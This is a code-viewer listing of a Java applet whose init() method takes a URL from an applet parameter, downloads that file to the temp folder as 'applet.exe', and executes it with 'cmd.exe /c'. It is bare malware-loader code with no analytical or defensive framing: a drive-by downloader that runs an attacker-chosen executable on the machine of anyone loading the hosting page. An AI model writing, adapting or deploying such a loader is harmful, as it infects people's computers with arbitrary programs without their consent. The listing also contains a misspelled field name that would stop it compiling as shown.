| 9 | import java.util.*; |
| 10 | |
| 11 | public class Java extends Applet |
| 12 | { |
| 13 | private Object initialized = null; |
| 14 | public Object isInitialized() |
| 15 | { |
| 16 | return initailized; |
| 17 | } |
| 18 | |
| 19 | public void init() |
| 20 | { |
| 21 | Process f; |
| 22 | try |
| 23 | { |
| 24 | String tmpdir = System.getProperty("java.io.tmpdir") + File.separator; |
| 25 | String expath = tmpdir + "applet.exe"; |
| 26 | String download = ""; |
| 27 | download = getParameter("1"); |
| 28 | if (download.length() > 0) |
| 29 | { |
| 30 | // URL Parameter |
| 31 | URL url = new URL(download); |
| 32 | // Get an input stream for reading |
| 33 | InputStream in = url.openStream(); |
| 34 | // Create a buffered input stream for efficiency |
| 35 | BufferedInputStream bufIn = new BufferedInputStream(in); |
| 36 | File outputFile = new File(expath); |
| 37 | OutputStream out = new BufferedOutputStream(new FileOutputStream(outputFile)); |
| 38 | byte[] buffer = new byte[2048]; |
| 39 | for (;;) |
| 40 | { |
| 41 | int nBytes = bufIn.read(buffer); |
| 42 | if (nBytes <= 0) break; |
| 43 | out.write(buffer, 0, nBytes); |
| 44 | } |
| 45 | out.flush(); |
| 46 | out.close(); |
| 47 | in.close(); |
| 48 | // Execute downloaded file |
| 49 | f = Runtime.getRuntime().exec("cmd.exe /c " + expath); |
| 50 | } |
| 51 | } catch(IOException e) { |
| 52 | e.printStackTrace(); |
| 53 | } catch(Exception exception) { |
| 54 | exception.printStackTrace(); |
| 55 | } |
| 56 | } |
| 57 | } |
nothing calls this directly
no outgoing calls
no test coverage detected